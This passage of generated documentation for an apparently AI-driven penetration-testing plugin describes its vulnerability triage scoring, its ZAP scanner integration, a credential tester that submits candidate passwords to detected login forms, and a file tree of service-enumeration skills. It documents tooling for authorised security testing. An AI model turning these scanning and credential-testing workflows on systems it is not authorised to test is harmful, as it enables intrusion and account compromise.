files are expected at `$HERMES_HOME/argicida/data/`. See CLAUDE.md's **Pre-Engagement Data** section for download commands.\\n\\n## Deduplication \u2014 `dedup.py`\\n\\n`deduplicate()` collapses findings from multiple tools that describe the same vulnerability on the same target.\\n\\n**Dedup key:** `(target, port, first_cve_id)` when CVE IDs are present; `(target, port, normalized_title)` otherwise. Title normalization is lowercase + strip.\\n\\n**Conflict resolution via `_pick_best`:** when two findings share a key, the one with more CVE IDs wins. On a tie, the higher CVSS score wins.\\n\\nThis runs before scoring \u2014 deduplication is purely structural and doesn't need threat intelligence data.\\n\\n## Composite Scoring \u2014 `scorer.py`\\n\\n`score_finding` computes a weighted composite score for a single finding:\\n\\n| Signal | Weight | Value range | Source |\\n|---|---|---|---|\\n| Severity | 0.25 | 0.0\u20131.0 (mapped from `info`\u2192`critical`) | Finding field |\\n| CVSS | 0.20 | 0.0\u20131.0 (raw CVSS / 10) | Finding field |\\n| EPSS | 0.25 | 0.0\u20131.0 (max across all CVEs) | Local EPSS CSV |\\n| KEV membership | 0.20 | 0 or 1 | Local KEV JSON |\\n| Ransomware link | 0.10 | 0 or 1 | Local KEV JSON |\\n\\nFor findings with multiple CVE IDs, the scorer takes the **maximum** EPSS score across all of them. KEV and ransomware flags are set if **any** CVE matches.\\n\\nThe output is a `ScoredFinding` \u2014 a frozen msgspec Struct that bundles the original `Finding` with the composite score, individual EPSS score, KEV match flag, and ransomware flag.\\n\\n`score_findings` is the batch variant that maps over a tuple of findings.\\n\\n## Classification \u2014 `classifier.py`\\n\\n`classify` applies a deterministic decision tree to a `ScoredFinding`. The rules evaluate in strict order \u2014 first match wins:\\n\\n**CRITICAL** (any of):\\n1. KEV match\\n2. Ransomware-linked CVE\\n3. EPSS score \u2265 0.8\\n4. Severity is `critical` AND has CVE or CWE IDs\\n\\n**INTERESTING** (any of):\\n5. Composite score \u2265 0.4\\n6. Severity is `high` or `medium` AND has CVE or CWE IDs\\n7. Severity is `critical`, `high`, or `medium` (without IDs)\\n8. CVSS \u2265 7.0\\n\\n**NOISE**: everything else.\\n\\n`classify_findings` is the batch entry point. It scores, classifies, and writes the triage level, EPSS score, and KEV flag back onto each `Finding` via `msgspec.structs.replace`.\\n\\n### `count_by_triage`\\n\\nUtility that counts findings by their already-assigned `triage_level` field. Used by:\\n\\n- `/briefing` and `/triage` slash commands (`commands/slash.py`)\\n- Engagement state context injection (`hooks/context_sections.py` \u2014 both `build_state_block` and `build_resume_context`)\\n- Briefing report generation (`briefing/prompts.py` \u2014 both `build_summary_prompt` and `render_briefing`)\\n- Fallback summary (`briefing/generator.py`)\\n\\n## New Asset Discovery \u2014 `discovery.py`\\n\\n`detect_new_assets` identifies targets in findings that are not covered by the current scope definition. Only findings from reconnaissance tools (`nmap`, `naabu`, `subfinder`, `httpx`) are considered \u2014 vulnerability scanners like nuclei only hit targets already in scope.\\n\\nClassification logic:\\n- Targets parseable as `ip_address` or `ip_network` \u2192 checked against `scope.target_cidrs`\\n- Everything else \u2192 treated as a domain and checked against `scope.target_domains` with subdomain matching (`sub.example.com` matches `example.com`)\\n\\nReturns a sorted, deduplicated tuple of out-of-scope target strings. Targets in `scope.excluded_ips` are treated as \\\"known\\\" and excluded from the result.\\n\\n## Trust Model\\n\\nThe classifier's docstring documents the trust assumptions explicitly:\\n\\n- **CVE IDs** are trusted tool output from nuclei's curated template matching, not target-supplied data.\\n- **EPSS/KEV data** comes from operator-provisioned local files, not fetched at runtime.\\n- **Container compromise** (fabricated CVE injection) is a separate threat model addressed by container hardening \u2014 seccomp, read-only rootfs, non-root user, namespace isolation.\\n\\n## Diagram Generation\\n\\n`scripts/generate_triage_diagrams.py` produces two PNG diagrams via pydot:\\n\\n- `docs/images/triage_pipeline.png` \u2014 the linear pipeline from raw findings to triaged output\\n- `docs/images/classifier_tree.png` \u2014 the full classifier decision tree\\n\\nRun with `uv run python scripts/generate_triage_diagrams.py`.\",\"zap-integration\":\"# ZAP Integration\\n\\n# ZAP Integration (`argicida/zap/`)\\n\\nZAP runs as a sidecar container inside the Argicida pod, providing passive proxy analysis and active vulnerability scanning. This module wraps ZAP's REST API and Automation Framework (AF) behind a five-layer stack that the seven management tools (`zap_scan`, `zap_alerts`, `zap_context`, `zap_auth`, `zap_import`, `zap_spider`, `zap_intel`) call into.\\n\\n```mermaid\\ngraph TD\\n    Tools[\\\"Management tools(zap_scan, zap_intel, \u2026)\\\"]\\n    Manager[\\\"ZapManagerorchestration + state\\\"]\\n    PlanExec[\\\"PlanExecutorAF lifecycle\\\"]\\n    PlanGen[\\\"plan_generatorpure YAML generation\\\"]\\n    Policy[\\\"scan_policytech detection + rule selection\\\"]\\n    Client[\\\"ZapClientREST API via curl\\\"]\\n    CredTest[\\\"credential_testerlogin detection + testing\\\"]\\n    ZAP[\\\"ZAP sidecar container\\\"]\\n\\n    Tools --> Manager\\n    Manager --> PlanExec\\n    Manager --> Policy\\n    Manager --> CredTest\\n    Manager --> Client\\n    PlanExec --> Client\\n    PlanGen -.->|produces GeneratedPlan| PlanExec\\n    Manager --> PlanGen\\n    Client -->|exec_sync curl| ZAP\\n```\\n\\n## ZapClient\\n\\n`client.py` \u2014 Thin REST client that talks to ZAP at `http://127.0.0.1:8090`. Every call runs `curl -sf ` inside the ZAP container via `PodManager.exec_sync()`. There is no HTTP library dependency \u2014 curl is the transport.\\n\\nTwo internal helpers do all the work:\\n\\n- `_raw_get(path, params)` \u2014 builds the URL, runs curl, raises `ZapError` on non-zero exit.\\n- `_call_json(endpoint, params)` \u2014 calls `_raw_get` with a `JSON/` prefix and deserializes the response.\\n\\nThe public surface maps 1:1 to ZAP API endpoints, grouped by subsystem:\\n\\n| Group | Methods |\\n|---|---|\\n| Core | `version`, `root_cert`, `new_session`, `get_alerts`, `delete_all_alerts`, `send_request` |\\n| Context | `new_context`, `include_in_context`, `exclude_from_context`, `get_context`, `get_include_regexes` |\\n| Authentication | `set_auth_method`, `set_logged_in_indicator`, `set_logged_out_indicator`, `set_session_management` |\\n| Users | `create_user`, `set_user_credentials`, `set_forced_user`, `enable_forced_user` |\\n| Spider | `spider_scan`, `spider_status` |\\n| AJAX Spider | `ajax_spider_scan`, `ajax_spider_scan_as_user`, `ajax_spider_status`, `ajax_spider_stop` |\\n| Passive Scan | `pscan_records_to_scan`, `pscan_set_max_alerts_per_rule`, `pscan_set_max_body_size`, `pscan_disable_scanners`, `pscan_set_scanner_alert_threshold` |\\n| Active Scan | `ascan_scan`, `ascan_status`, `get_scanner_ids` |\\n| Replacer | `add_replacer_rule`, `remove_replacer_rule` |\\n| API Import | `import_openapi_url`, `import_graphql_url` |\\n| Intelligence | `wappalyzer_list_sites`, `wappalyzer_list_site`, `search_by_response_regex`, `get_auth_state` |\\n| Automation Framework | `run_plan`, `plan_progress`, `stop_plan` |\\n| Reports | `get_site_stats`, `generate_report`, `generate_report_content` |\\n\\n`generate_report_content` is notable \u2014 it writes a report to `/tmp` inside the ZAP container (writable tmpfs), then reads it back via `exec_sync(cat)` so the host can store it in the output directory.\\n\\nAll error paths raise `ZapError(endpoint, exit_code, output)`.\\n\\n## Plan Executor\\n\\n`plan_executor.py` \u2014 Manages the lifecycle of a single AF plan: write YAML to the IPC directory, tell ZAP to execute it, poll until finished.\\n\\n```python\\nexecutor = PlanExecutor(client)\\nresult = executor.execute(plan, ipc_dir, poll_interval=2.0)\\n```\\n\\nThe `GeneratedPlan` struct (produced by `plan_generator`) carries the YAML content, a name (used as the filename), and a list of expected job types. `PlanExecutor.execute()`:\\n\\n1. Writes the YAML to `ipc_dir/.yaml` via `write_ipc_file` (0o644 permissions \u2014 the container reads it via \\\"other\\\" bits).\\n2. Calls `client.run_plan(\\\"/ipc/.yaml\\\")` to start execution.\\n3. Polls `client.plan_progress(plan_id)` until the `finished` field is set.\\n4. Returns a `PlanResult` with timing, info/warning/error messages, and the original YAML.\\n\\n## Plan Generator\\n\\n`plan_generator.py` \u2014 Pure functions that produce `GeneratedPlan` objects. No side effects, no API calls. Three plan types:\\n\\n### `generate_scan_plan`\\n\\nActive vulnerability scanning. Accepts a target URL, detected technology, policy config, optional credentials, alert filters, exclude patterns, and passive rule recommendations. Produces:\\n\\n- An `env` block with context URLs, exclude patterns, and credential auth config.\\n- An `activeScan` job with a `policyDefinition` containing the merged rule set (policy rules + passive recommendations).\\n- Auth monitor tests when credentials are provided (watches `stats.auth.failure` and `stats.auth.ascan.state.loggedout` counters to detect broken authentication mid-scan).\\n- An `exitStatus` job (always runs).\\n\\n### `generate_spider_plan`\\n\\nContent discovery. Seeds the spider with URLs from the asset registry \u2014 for every hostname associated with the target IP, it constructs a URL using the target's scheme and port. The env block includes credential config for authenticated spidering.\\n\\n### `generate_intel_plan`\\n\\nMinimal crawl (depth 2, 1 minute) followed by `passiveScan-wait`. Used by `zap_intel` for fast passive analysis without active scanning.\\n\\n### Credential Mapping\\n\\n`credential_to_env_block` dispatches on `secret_type` to produce the right AF authentication block:\\n\\n| `secret_type` | AF auth method |\\n|---|---|\\n| `password` | Browser-based auth (`method: browser`) with autodetect session management |\\n| `token` | Replacer rule injecting `Authorization: Bearer ` |\\n| `api_key` | Replacer rule injecting `X-API-Key: ` |\\n| anything else | Replacer rule injecting `Authorization: Basic ` |\\n\\nBrowser-based auth is recommended for password credentials \u2014 ZAP drives a headless browser to the login page, fills the form, and captures the resulting session cookies/tokens automatically.\\n\\n## Scan Policy\\n\\n`scan_policy.py` \u2014 Builds ZAP active scan policies dynamically from detected technology instead of using static policy files.\\n\\n### Technology Detection\\n\\nThree sources feed `DetectedTech`:\\n\\n1. **Passive alerts** (`detect_tech_from_passive`) \u2014 Scans ZAP alert names and evidence fields for web server banners (`Apache`, `nginx`, `IIS`), language markers (`PHP/`, `ASP.NET`, `Express`, `gunicorn`), and framework signatures.\\n\\n2. **Asset registry** (`detect_tech_from_assets`) \u2014 Reads port banners, service names (maps `mysql` \u2192 `mysql`, `ms-sql-s` \u2192 `mssql`, etc.), vhost fingerprint `server_header` fields, Wappalyzer `tech_fingerprint` JSON on hostnames, and nuclei finding titles matching framework keywords.\\n\\n3. **Wappalyzer** (`ZapManager._query_wappalyzer`) \u2014 Queries ZAP's Wappalyzer add-on. Matches the target against ZAP's internal site tree (scheme://authority format), then classifies each fingerprint entry by category (`web server`, `programming language`, `database`, `framework`/`cms`).\\n\\n`merge_tech` combines multiple `DetectedTech` instances \u2014 the first source to identify each field wins, frameworks accumulate from all sources.\\n\\n### Rule Tiers\\n\\nRules are organized into three tiers, selected by scan level:\\n\\n| Tier | When included | Examples |\\n|---|---|---|\\n| **Tier 1 \u2014 Universal** | Always | Path Traversal, XSS, SQLi (error-based), Command Injection, SSRF, Cloud Metadata |\\n| **Tier 2 \u2014 Technology-specific** | `targeted` and `full` levels | DB-specific SQLi (MySQL/Postgres/Oracle/MSSQL/SQLite/MongoDB), Java deserialization, PHP injection, IIS-specific, Node prototype pollution |\\n| **Tier 3 \u2014 Expensive** | `full` level only | Persistent XSS (3 rules), DOM XSS, LDAP injection, Session Fixation, time-based command injection, all DB-specific rules |\\n\\n### Scan Levels\\n\\n| Level | Threshold | Strength | Rule duration | Scan duration | Threads |\\n|---|---|---|---|---|---|\\n| `quick` | MEDIUM | LOW | 2 min | 5 min | 5 |\\n| `targeted` | LOW | MEDIUM | 3 min | 10 min | 3 |\\n| `full` | LOW | HIGH | 5 min | 30 min | 2 |\\n\\nSpider configs follow the same three levels, scaling depth (2/5/10), duration (1/3/10 min), and feature flags (git/SVN parsing, form posting).\\n\\n### Passive-to-Active Mapping\\n\\n`recommend_active_rules` maps passive finding rule IDs to active scan rules that should be enabled. For example, passive rule 10202 (no CSRF tokens) enables active rule 20012 (Anti-CSRF Scanner), and passive CORS misconfiguration (10098) enables the CORS Scanner (40040).\\n\\n## ZapManager\\n\\n`manager.py` \u2014 The orchestration layer. Holds context state, alert caches, and coordinates all scan workflows. Created by `ensure_pod()` when the ZAP healthcheck passes, stored on `PluginState`, cleared in `on_session_finalize`.\\n\\n### Context Management\\n\\n`create_context(name, include_regex, exclude_regex, extra_includes)` creates a ZAP context with include/exclude URL patterns. Thread-safe via `self._lock`. Contexts are cached by name \u2014 calling with the same name returns the existing context ID.\\n\\n### Authentication Configuration\\n\\n`configure_auth` dispatches on `credential.secret_type`:\\n\\n- **token / api_key** \u2192 `_configure_token_auth` \u2192 `configure_header_auth` \u2192 `add_replacer_rule`. Injects the header on every request via ZAP's replacer. No ZAP user created.\\n- **password** \u2192 `_configure_password_auth`. Sets form-based or JSON-based auth (based on whether the service is `api`/`graphql`/`rest`), creates a ZAP user, sets credentials, enables forced-user mode so all requests authenticate.\\n- **anything else** \u2192 Basic auth via replacer rule.\\n\\nReturns `(context_id, user_id)`. For token/api_key auth, `user_id` is `-1` since no ZAP user is created.\\n\\n### run_scan\\n\\nThe full active scan workflow, used by the `zap_scan` tool:\\n\\n1. Harvest passive alerts accumulated from proxy traffic.\\n2. Persist passive findings to the engagement database.\\n3. Detect technology from passive alerts + asset registry + merge.\\n4. Map passive findings to active rule recommendations.\\n5. Build a `ScanPolicyConfig` from detected tech and scan level.\\n6. Look up credentials if a `user_name` was specified.\\n7. Generate an AF plan via `generate_scan_plan`.\\n8. Execute the plan via `PlanExecutor`.\\n9. Collect alerts from ZAP for the target URL.\\n10. Generate a SARIF report (best-effort \u2014 failures are logged, not fatal).\\n11. Return `(findings, stages)` where `stages` contains plan errors/warnings, SARIF content, scan metadata, and the plan YAML.\\n\\n### harvest_intel\\n\\nThe intelligence gathering workflow, used by `zap_intel`:\\n\\n1. Get passive alerts.\\n2. Detect tech from passive alerts + asset registry + Wappalyzer.\\n3. Detect login forms via `detect_login_forms` (Search API regex + passive rule 10111).\\n4. Map persisted ZAP findings to active rule recommendations.\\n5. Return a `WebIntel` struct with tech fingerprints, login URLs, and recommendations.\\n\\n### Alert Caching\\n\\n`get_cached_alerts()` caches parsed findings for 30 seconds (`_alert_cache_ttl`). Used by `zap_alerts` to avoid hammering ZAP's API on repeated queries.\\n\\n### Passive Scanner Tuning\\n\\n`configure_defaults()` reduces noise on first initialization:\\n- Caps alerts per rule to 10.\\n- Limits body scan size to 500KB.\\n- Disables noisy rules: Timestamp Disclosure (10096), Suspicious Comments (10027), Modern Web Application (10109), Cache-control (10015).\\n\\n## Credential Tester\\n\\n`credential_tester.py` \u2014 Login form detection and credential validation via ZAP's `sendRequest` API.\\n\\n### Login Form Detection\\n\\n`detect_login_forms(client, alerts)` finds login pages from two sources:\\n- ZAP's Search API: regex match for `type=\\\"password\\\"` in response bodies.\\n- Passive rule 10111 alerts (Authentication Request Identified).\\n\\nReturns deduplicated, sorted URLs.\\n\\n### Credential Testing\\n\\n`try_credentials(client, login_url, candidates, target)` builds raw HTTP POST requests (`application/x-www-form-urlencoded` with `username`/`password` fields), sends them through ZAP via `sendRequest`, and checks for success indicators in the response header: `302 Found`, `303 See Other`, or `Set-Cookie`. Returns a `ValidatedCredential` on first success, `None` if all candidates fail.\\n\\n## External Dependencies\\n\\n| Module | Depends on |\\n|---|---|\\n| `ZapClient` | `PodManager.exec_sync` (curl execution in container) |\\n| `ZapManager` | `EngagementStore` (findings, credentials, assets), `parse_zap_findings` (alert \u2192 Finding conversion), `normalize_target` (URL \u2192 IP extraction) |\\n| `PlanExecutor` | `write_ipc_file` from `tools/defs/_protocol.py` (0o644 permissions for container readability) |\\n| `scan_policy` | `AssetRepo.get_asset_by_ip`, `FindingRepo.query_findings`, `VhostFingerprint` schema |\\n\\nThe `ZapProxyInjector` normalizer (in `tools/normalizers.py`, outside this module) auto-routes web tool traffic through ZAP for continuous passive analysis \u2014 that is where ZAP's passive findings originate.\"};\nvar TREE = [{\"name\":\"Plugin Registration & Core\",\"slug\":\"plugin-registration-core\",\"files\":[\"src/argicida/argicida/__init__.py\",\"src/argicida/argicida/registration/__init__.py\",\"src/argicida/argicida/registration/context.py\",\"src/argicida/argicida/registration/state.py\",\"src/argicida/argicida/registration/hooks.py\",\"src/argicida/argicida/registration/scan_tools.py\",\"src/argicida/argicida/registration/management_tools.py\",\"src/argicida/argicida/registration/commands.py\",\"src/argicida/argicida/utils.py\",\"src/argicida/argicida/plugin.yaml\"]},{\"name\":\"Engagement & Database\",\"slug\":\"engagement-database\",\"files\":[\"src/argicida/argicida/engagement/__init__.py\",\"src/argicida/argicida/engagement/lifecycle.py\",\"src/argicida/argicida/engagement/session.py\",\"src/argicida/argicida/db/__init__.py\",\"src/argicida/argicida/db/store.py\",\"src/argicida/argicida/db/asset_repo.py\",\"src/argicida/argicida/db/credential_repo.py\",\"src/argicida/argicida/db/finding_repo.py\",\"src/argicida/argicida/db/evidence_repo.py\",\"src/argicida/argicida/db/vpn_repo.py\",\"src/argicida/argicida/db/helpers.py\",\"src/argicida/argicida/db/migrations.py\",\"src/argicida/argicida/db/encryption.py\"]},{\"name\":\"Pod Management\",\"slug\":\"pod-management\",\"files\":[\"src/argicida/argicida/pod/__init__.py\",\"src/argicida/argicida/pod/launcher.py\",\"src/argicida/argicida/pod/manager.py\",\"src/argicida/argicida/pod/session.py\",\"src/argicida/argicida/pod/config.py\",\"src/argicida/argicida/pod/builder.py\",\"src/argicida/argicida/pod/vpn.py\"]},{\"name\":\"Container Agent\",\"slug\":\"container-agent\",\"files\":[\"src/argicida_agent/argicida_agent/__init__.py\",\"src/argicida_agent/argicida_agent/__main__.py\",\"src/argicida_agent/argicida_agent/executor/__init__.py\",\"src/argicida_agent/argicida_agent/executor/runner.py\",\"src/argicida_agent/argicida_agent/ipc/__init__.py\",\"src/argicida_agent/argicida_agent/ipc/server.py\"]},{\"name\":\"IPC Layer\",\"slug\":\"ipc-layer\",\"files\":[\"src/argicida/argicida/ipc/__init__.py\",\"src/argicida/argicida/ipc/client.py\",\"src/argicida_common/argicida_common/ipc_protocol.py\",\"src/argicida_common/argicida_common/ipc_schema.py\"]},{\"name\":\"Scope Enforcement\",\"slug\":\"scope-enforcement\",\"files\":[\"src/argicida/argicida/scope/__init__.py\",\"src/argicida/argicida/scope/netfilter.py\",\"src/argicida/argicida/scope/validator.py\",\"src/argicida_common/argicida_common/scope_schema.py\"]},{\"name\":\"Scan Tool Framework\",\"slug\":\"scan-tool-framework\",\"files\":[\"src/argicida/argicida/tools/__init__.py\",\"src/argicida/argicida/tools/base.py\",\"src/argicida/argicida/tools/schemas.py\",\"src/argicida/argicida/tools/defs/__init__.py\",\"src/argicida/argicida/tools/defs/_protocol.py\",\"src/argicida/argicida/tools/defs/_pd_common.py\",\"src/argicida/argicida/tools/defs/nmap.py\",\"src/argicida/argicida/tools/defs/naabu.py\",\"src/argicida/argicida/tools/defs/nuclei.py\",\"src/argicida/argicida/tools/defs/httpx.py\",\"src/argicida/argicida/tools/defs/subfinder.py\",\"src/argicida/argicida/tools/defs/dnsx.py\",\"src/argicida/argicida/tools/defs/katana.py\",\"src/argicida/argicida/tools/defs/ffuf.py\",\"src/argicida/argicida/tools/defs/curl.py\",\"src/argicida/argicida/tools/defs/tracepath.py\",\"src/argicida/argicida/tools/defs/rpcinfo.py\",\"src/argicida/argicida/tools/defs/smbclient.py\",\"src/argicida/argicida/tools/defs/db_query.py\",\"src/argicida/argicida/tools/defs/redis_query.py\",\"src/argicida/argicida/tools/defs/mongo_query.py\",\"src/argicida/argicida/tools/defs/ssh_exec.py\",\"src/argicida/argicida/tools/normalizers.py\",\"src/argicida/argicida/tools/normalizers_nmap.py\",\"src/argicida/argicida/tools/normalizers_nuclei.py\",\"src/argicida/argicida/tools/normalizers_curl.py\",\"src/argicida/argicida/tools/normalizers_db.py\",\"src/argicida/argicida/tools/normalizers_redis.py\",\"src/argicida/argicida/tools/normalizers_mongo.py\",\"src/argicida/argicida/tools/normalizers_katana.py\",\"src/argicida/argicida/tools/normalizers_smb.py\",\"src/argicida/argicida/tools/normalizers_ssh.py\",\"src/argicida/argicida/tools/normalizers_zap.py\",\"src/argicida/argicida/tools/parsers.py\",\"src/argicida/argicida/tools/parsers_nmap.py\",\"src/argicida/argicida/tools/parsers_naabu.py\",\"src/argicida/argicida/tools/parsers_nuclei.py\",\"src/argicida/argicida/tools/parsers_dnsx.py\",\"src/argicida/argicida/tools/parsers_db.py\",\"src/argicida/argicida/tools/parsers_redis.py\",\"src/argicida/argicida/tools/parsers_mongo.py\",\"src/argicida/argicida/tools/parsers_smbclient.py\",\"src/argicida/argicida/tools/parsers_zap.py\",\"src/argicida/argicida/tools/transformers.py\",\"src/argicida/argicida/tools/transformers_nmap.py\",\"src/argicida/argicida/tools/transformers_naabu.py\",\"src/argicida/argicida/tools/transformers_nuclei.py\",\"src/argicida/argicida/tools/transformers_httpx.py\",\"src/argicida/argicida/tools/transformers_subfinder.py\",\"src/argicida/argicida/tools/transformers_dnsx.py\",\"src/argicida/argicida/tools/transformers_katana.py\",\"src/argicida/argicida/tools/transformers_ffuf.py\",\"src/argicida/argicida/tools/transformers_curl.py\",\"src/argicida/argicida/tools/transformers_db.py\",\"src/argicida/argicida/tools/transformers_redis.py\",\"src/argicida/argicida/tools/transformers_mongo.py\",\"src/argicida/argicida/tools/transformers_smbclient.py\",\"src/argicida/argicida/tools/transformers_zap.py\",\"src/argicida/argicida/tools/extractors.py\",\"src/argicida/argicida/tools/extractors_base.py\",\"src/argicida/argicida/tools/extractors_nmap.py\",\"src/argicida/argicida/tools/extractors_naabu.py\",\"src/argicida/argicida/tools/extractors_httpx.py\",\"src/argicida/argicida/tools/extractors_subfinder.py\",\"src/argicida/argicida/tools/extractors_dnsx.py\",\"src/argicida/argicida/tools/extractors_nuclei.py\"]},{\"name\":\"Management & CLI\",\"slug\":\"management-cli\",\"files\":[\"src/argicida/argicida/tools/management_handlers.py\",\"src/argicida/argicida/tools/artifact_handlers.py\",\"src/argicida/argicida/commands/__init__.py\",\"src/argicida/argicida/commands/cli.py\",\"src/argicida/argicida/commands/slash.py\",\"src/argicida/argicida/commands/formatting.py\",\"src/argicida/argicida/commands/update_data.py\"]},{\"name\":\"Hook Pipeline\",\"slug\":\"hook-pipeline\",\"files\":[\"src/argicida/argicida/hooks/__init__.py\",\"src/argicida/argicida/hooks/adapters.py\",\"src/argicida/argicida/hooks/asset_extractor.py\",\"src/argicida/argicida/hooks/autonomy.py\",\"src/argicida/argicida/hooks/context.py\",\"src/argicida/argicida/hooks/context_sections.py\",\"src/argicida/argicida/hooks/coverage.py\",\"src/argicida/argicida/hooks/evidence.py\",\"src/argicida/argicida/hooks/normalizer.py\",\"src/argicida/argicida/hooks/output_store.py\",\"src/argicida/argicida/hooks/parsers.py\",\"src/argicida/argicida/hooks/perceptor.py\",\"src/argicida/argicida/hooks/result_transformers.py\",\"src/argicida/argicida/hooks/scope_guard.py\",\"src/argicida/argicida/hooks/service_registry.py\",\"src/argicida/argicida/hooks/session_start.py\",\"src/argicida/argicida/hooks/skill_loader.py\"]},{\"name\":\"Triage Engine\",\"slug\":\"triage-engine\",\"files\":[\"src/argicida/argicida/triage/__init__.py\",\"src/argicida/argicida/triage/classifier.py\",\"src/argicida/argicida/triage/scorer.py\",\"src/argicida/argicida/triage/dedup.py\",\"src/argicida/argicida/triage/data.py\",\"src/argicida/argicida/triage/discovery.py\",\"scripts/generate_triage_diagrams.py\",\"scripts/generate_pipeline_diagrams.py\"]},{\"name\":\"ZAP Integration\",\"slug\":\"zap-integration\",\"files\":[\"src/argicida/argicida/zap/__init__.py\",\"src/argicida/argicida/zap/client.py\",\"src/argicida/argicida/zap/manager.py\",\"src/argicida/argicida/zap/plan_executor.py\",\"src/argicida/argicida/zap/plan_generator.py\",\"src/argicida/argicida/zap/scan_policy.py\",\"src/argicida/argicida/zap/credential_tester.py\"]},{\"name\":\"Evidence & Reporting\",\"slug\":\"evidence-reporting\",\"files\":[\"src/argicida/argicida/evidence/__init__.py\",\"src/argicida/argicida/evidence/chain.py\",\"src/argicida/argicida/evidence/keys.py\",\"src/argicida/argicida/evidence/signer.py\",\"src/argicida/argicida/briefing/__init__.py\",\"src/argicida/argicida/briefing/generator.py\",\"src/argicida/argicida/briefing/prompts.py\"]},{\"name\":\"Shared Types & Schemas\",\"slug\":\"shared-types-schemas\",\"files\":[\"src/argicida_common/argicida_common/__init__.py\",\"src/argicida_common/argicida_common/constants.py\",\"src/argicida_common/argicida_common/finding_schema.py\",\"src/argicida_common/argicida_common/engagement_schema.py\",\"src/argicida_common/argicida_common/asset_schema.py\",\"src/argicida_common/argicida_common/credential_schema.py\"]},{\"name\":\"Container Build Infrastructure\",\"slug\":\"container-build-infrastructure\",\"files\":[\"containers/Containerfile\",\"containers/Containerfile.gateway\",\"containers/Containerfile.zap\",\"containers/entrypoint.sh\",\"containers/gateway-entrypoint.sh\",\"containers/zap-entrypoint.sh\",\"containers/dnsx-config.yaml\",\"containers/katana-config.yaml\",\"containers/naabu-config.yaml\",\"containers/nuclei-config.yaml\",\"containers/screenshot.yaml\",\"containers/nse-blocklist.txt\",\"containers/ssh-key-wrap\"]},{\"name\":\"Hermes Profile & Skills\",\"slug\":\"hermes-profile-skills\",\"files\":[],\"children\":[{\"name\":\"Hermes Profile & Skills \u2014 profile\",\"slug\":\"hermes-profile-skills-profile\",\"files\":[\"profile/SOUL.md\"]},{\"name\":\"Hermes Profile & Skills \u2014 skills\",\"slug\":\"hermes-profile-skills-skills\",\"files\":[\"profile/skills/security/DESCRIPTION.md\",\"profile/skills/security/pentest-methodology/SKILL.md\",\"profile/skills/security/network-discovery/SKILL.md\",\"profile/skills/security/dns-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/fingerprinting/SKILL.md\",\"profile/skills/security/web-enumeration/scanning/SKILL.md\",\"profile/skills/security/web-enumeration/crawling/SKILL.md\",\"profile/skills/security/web-enumeration/fuzzing/SKILL.md\",\"profile/skills/security/web-enumeration/api/SKILL.md\",\"profile/skills/security/web-enumeration/api-testing/SKILL.md\",\"profile/skills/security/web-enumeration/curl-techniques/SKILL.md\",\"profile/skills/security/web-enumeration/services/SKILL.md\",\"profile/skills/security/db-enumeration/SKILL.md\",\"profile/skills/security/db-enumeration/postgresql/SKILL.md\",\"profile/skills/security/db-enumeration/mysql/SKILL.md\",\"profile/skills/security/db-enumeration/mssql/SKILL.md\",\"profile/skills/security/db-enumeration/oracle/SKILL.md\",\"profile/skills/security/db-enumeration/cassandra/SKILL.md\",\"profile/skills/security/mongo-enumeration/SKILL.md\",\"profile/skills/security/redis-enumeration/SKILL.md\",\"profile/skills/security/smb-enumeration/SKILL.md\",\"profile/skills/security/rpc-nfs-enumeration/SKILL.md\",\"profile/skills/security/ssh-enumeration/SKILL.md\",\"profile/skills/security/ftp-enumeration/SKILL.md\",\"profile/skills/security/smtp-enumeration/SKILL.md\",\"profile/skills/security/telnet-enumeration/SKILL.md\"]},{\"name\":\"Hermes Profile & Skills \u2014 scripts\",\"slug\":\"hermes-profile-skills-scripts\",\"files\":[\"scripts/sync_skills.py\"]}]},{\"name\":\"Other\",\"slug\":\"other\",\"files\":[],\"children\":[{\"name\":\"Other \u2014 CLAUDE.md\",\"slug\":\"other-claude-md\",\"files\":[\"CLAUDE.md\"]},{\"name\":\"Other \u2014 README.md\",\"slug\":\"other-readme-md\",\"files\":[\"README.md\"]},{\"name\":\"Other \u2014 docs\",\"slug\":\"other-docs\",\"files\":[\"docs/DEVELOPMENT-STANDARDS.md\",\"docs/RESEARCH.md\",\"docs/triage-engine.md\"]},{\"name\":\"Other \u2014 docs-archive\",\"slug\":\"other-docs-archive\",\"files\":[\"docs/archive/AUDIT-2026-07-14.md\",\"docs/archive/NOTES.md\",\"docs/archive/REFACTOR-PLAN-v2.md\",\"docs/archive/REFACTOR-PLAN.md\",\"docs/archive/REFACTOR-REFERENCES.md\",\"docs/archive/REMEDIATION-PLAN-2026-07-14.md\",\"docs/archive/audit-confirmed-findings.md\",\"docs/archive/e2e-gap-analysis.md\",\"docs/archive/full-system-audit.md\",\"docs/archive/htb-api-reference.md\",\"docs/archive/ipc-sync-async-boundary.md\",\"docs/archive/pipeline-engine.md\",\"docs/archive/plans/2026-06-30-foundation.md\",\"docs/archive/plans/2026-06-30-ipc-control-plane.md\",\"docs/archive/plans/2026-06-30-pipeline-engine.md\",\"docs/archive/plans/2026-06-30-scope-enforcement.md\",\"docs/archive/plans/2026-06-30-tool-wrappers.md\",\"docs/archive/plans/2026-06-30-triage-and-hooks.md\",\"docs/archive/plans/2026-07-01-briefing-and-trace.md\",\"docs/archive/plans/2026-07-01-container-build.md\",\"docs/archive/plans/2026-07-01-dynamic-pipeline.md\",\"docs/archive/plans/2026-07-01-e2e-gap-fixes.md\",\"docs/archive/plans/2026-07-01-hermes-plugin-shell.md\",\"docs/archive/plans/2026-07-01-integration-test-harness.md\",\"docs/archive/plans/2026-07-01-iterative-reentry.md\",\"docs/archive/plans/2026-07-01-pod-and-cli-commands.md\",\"docs/archive/plans/2026-07-01-session-lifecycle.md\",\"docs/archive/plans/2026-07-02-llm-driven-redesign.md\",\"docs/archive/plans/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/plans/2026-07-02-structured-perceptor.md\",\"docs/archive/plans/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-engagement-query-tool.md\",\"docs/archive/rfe/2026-07-07-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-subagent-delegation.md\",\"docs/archive/rfe/2026-07-10-credential-fragment-model.md\",\"docs/archive/rfe/2026-07-11-dns-aware-scope-enforcement.md\",\"docs/archive/rfe/2026-07-13-infrastructure-vs-prompt-boundary.md\",\"docs/archive/rfe/2026-07-15-engagement-management.md\",\"docs/archive/spec-gaps.md\",\"docs/archive/specs/2026-06-29-project-structure-design.md\",\